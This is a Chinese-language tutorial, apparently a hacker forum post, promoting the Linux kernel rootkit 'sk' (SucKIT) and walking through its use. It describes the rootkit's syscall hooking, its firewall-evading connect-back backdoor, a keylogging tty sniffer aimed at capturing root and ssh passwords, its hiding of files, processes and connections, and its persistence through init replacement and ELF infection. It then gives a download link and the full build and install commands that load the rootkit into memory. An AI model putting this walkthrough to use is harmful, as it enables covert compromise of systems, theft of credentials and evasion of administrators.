什麼是LKM:LKM英文是:Loadable Kernel Modules,翻譯過來就是"可加載內核模塊程序",這是一種區別於一般應用程序的系統級程序,它主要用於擴展linux的內核功能。LKM可以動態地加載到內存中,無須重新編譯內核。由於LKM具有這樣的特點,所以它經常被用於一些設備的驅動程序,例如聲卡,網卡等等。講到這裡,大家是不是回憶起MSDOS中的TSR和Windows中的VxD呢?是的,這三者其實都是差不多的東西,它們都是常駐內存程序,並且可以捕獲任何一個系統中斷,功能十分強大,所以linux下的rootkit多為LKM。;
2、sk攻擊原理概述
sk是用過攻擊/dev/kmem來攔截和修改系統調用來實現後門和隱藏功能的。所謂系統調用,就是內核提供的、功能十分強大的一系列的函數。這些系統調用是在內核中實現的,再通過一定的方式把系統調用給用戶,一般都通過門(gate)陷入(trap)實現。系統調用是用戶程序和內核交互的接口。系統調用在Linux系統中發揮著巨大的作用,如果沒有系統調用,那麼應用程序就失去了內核的支持。我們在編程時用到的很多函數,如fork、open等這些函數最終都是在系統調用裡實現的,比如我們有這樣一個程序:
以下是引用片段:
#include <stdio.h>
int main(void)
{
char *name[2];
name[0] = "/bin/sh";
name[1]= NULL;
if (!fork())
execve(name[0],name,NULL);
exit(0);
}
這裡我們用到了兩個函數,即fork和exit,這兩函數都是glibc中的函數,但是如果我們跟蹤函數的執行過程,看看glibc對fork和exit 函數的實現就可以發現在glibc的實現代碼裡都是采用軟中斷的方式陷入到內核中再通過系統調用實現函數的功能的。由此可見,系統調用是用戶接口在內核中的實現,如果沒有系統調用,用戶就不能利用內核。所以在我們隱藏文件,隱藏網絡通訊,隱藏進程信息,都要通過修改系統調用來實現。
二、sk的特色功能
wzt覺得作為一個優秀的linux rootkit,sk有著下面的特色:
;1:sk後門服務端程序為靜態ELF文件,壓縮之後就幾十K的大小。我們使用LKM後門的時候,經常會遇到一個很尴尬的情況,就是LKM後門代碼無法在安全上編譯通過,要麼缺少gcc,要麼缺少內核代碼,要麼編譯環境有問題,有了sk之後,我們就不需要再為這個問題煩惱了,我們只需要執行一下wget下載sk,並在安全上直接執行就OK了,方便吧,真是居家旅行之必備rootkit啊。
2:通過對安全的任何開放的TCP端口發送特定數據就可以激活後門回連到我們的客戶端,並且客戶端有自動掃描功能,它會自動掃描安全開放的端口並發送激活指令。特別在一些有防火牆的環境裡,限制了回連的目標端口,我們還可以指定特殊的回連端口來繞過防火牆,比如回連到80、443這種一般都開放的TCP端口。
3:sk後門有一個tty sniffer,什麼是tty sniffer呢,通俗的說就是一個"鍵盤記錄",不過他不但可以記錄控制台的操作,還可以記錄遠程連接的操作,它根據程序指定的關鍵字抓取tty記錄,主要包括ssh,passwd,telnet,login等關鍵字,和thc.org的keylogger相比有過之而無不及啊,通過這個功能我們可以很容易的抓到相關密碼而擴大戰果,特別是在root密碼設置十分BT的時候,我們無法用john來暴力破解,tty log就可以記錄到root的密碼,甚至是其他linux的root密碼 :)
4:sk采用動態隱藏的方式來隱藏指定的內容,包括文件,進程,網絡連接。為什麼說是動態隱藏呢,因為當我們使用sk的客戶端登錄到安全之後,除了文件是根據prefix隱藏之外,其他的一切的操作都是隱藏的。這個功能十分之方便,只要我們使用sk的客戶端登錄之後,就可以放心的操作了,不需要擔心什麼東西沒有隱藏而被管理員發現。相比之下,adore-ng這類rootkit就有點不人性化了,必須使用客戶端手動的去隱藏指定的進程、網絡和文件。
5:sk的自動啟動也十分隱蔽,它通過替換系統的init文件來實現自動啟動,一般情況下非常難被發現。
上面我們說的只是sk1.x的功能,sk2在sk1.x的基礎上又有了如下的增強:
;1:後門的服務端和客戶端集成在一個程序內,不得不提的是0x557的sam牛牛修改了putty作為sk2的客戶端,這樣將大大的方便了經常在windows下管理安全的朋友們了。
2:端口回連後門升級為端口復用後門,可以復用系統大部分端口,包過濾防火牆在他面前幾乎沒有任何用處。
3:自動啟動方式完全改變,sk2可以感染系統的elf文件達到自啟動的目的,比如我們可以感染/sbin/syslogd文件,在syslogd服務啟動的同時,我們的sk2也啟動了。這個自啟動方式是十分靈活也十分隱蔽的,就我所知,現在除了sk2之外,沒有一個公開的後門或者rootkit是通過感染elf文件啟動的。如果想深入的了解ELF感染是如何實現和變幻的,請留意我的《ELF感染面面觀》一文。
4:增強了自身的加密功能,程序執行受到嚴格保護,沒有密碼將無法正確安裝後門或者執行客戶端。
sk2雖然在功能上有了十分大的提高,但是公開版的sk2rc2還是存在一些說大不大說小不小的BUG的,具體有什麼BUG我將在下一篇《Linux後門系列--由淺入深sk2完全分析》中一一透露。
三、sk13的編譯和使用
sk13的安裝和使用很簡單,只需要編譯一次,sk就可以拿著到處使用了,下面給大家演示一下編譯和使用的過程。
1、編譯
下載代碼 http://www.xfocus.net/tools/200408/sk-1.3b.tar.gz
先配置一下參數:
以下是代碼片段:
tthacker@wzt:~/sk# make skconfig
rm -f include/config.h sk login inst
make[1]: Entering directory `/root/sk/src'
make[1]: Leaving directory `/root/sk/src'
make[1]: Entering directory `/root/sk/src'
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c sha1.c
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c crypto.c
In file included from ../include/extern.h:9,
from ../include/stuff.h:18,
from crypto.c:7:
../include/skstr.h:20: warning: conflicting types for built-in function `vsnprintf'
../include/skstr.h:22: warning: conflicting types for built-in function `vsprintf'
../include/skstr.h:25: warning: conflicting types for built-in function `vsscanf'
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -s zpass.c sha1.o crypto.o -o pass
make[1]: Leaving directory `/root/sk/src'
/dev/null
Please enter new rootkit password: -->這裡輸入rookit的登錄密碼
Again, just to be sure:
OK, new password set.
Home directory [/dev/sk13]: /dev/sk13 -->這裡設置隱藏的目錄
Magic file-hiding suffix [sk13]: sk13 -->這裡設置文件隱藏的前綴
Configuration saved.
>From now, _only_ this configuration will be used by generated
binaries till you do skconfig again.
To (re)build all of stuff type 'make' -->現在我們可以開始編譯了
tthacker@wzt:~/sk#make
這裡省略N字,當我們看到下面的信息的時候,sk就編譯好了
Okay, file 'inst' is complete, self-installing script.
Just upload it somewhere, execute and you could log in using
./login binary.
Have fun!
生成了一個安裝文件,是一個shell腳本,他會自動安裝後門的。我們直接執行他就可以安裝了
以下是代碼片段:
tthacker@wzt:~/sk# ./inst
Your home is /dev/sk13, go there and type ./sk to install
us into memory. Have fun!
我們的home目錄就在/dev/sk13了,以後我們的相關的程序就都放這裡好了,隱藏的,管理員看不見 :)
tthacker@wzt:~/sk# cd /dev/sk13
tthacker@wzt:/dev/sk13# ./sk
RK_Init: idt=0xffc18000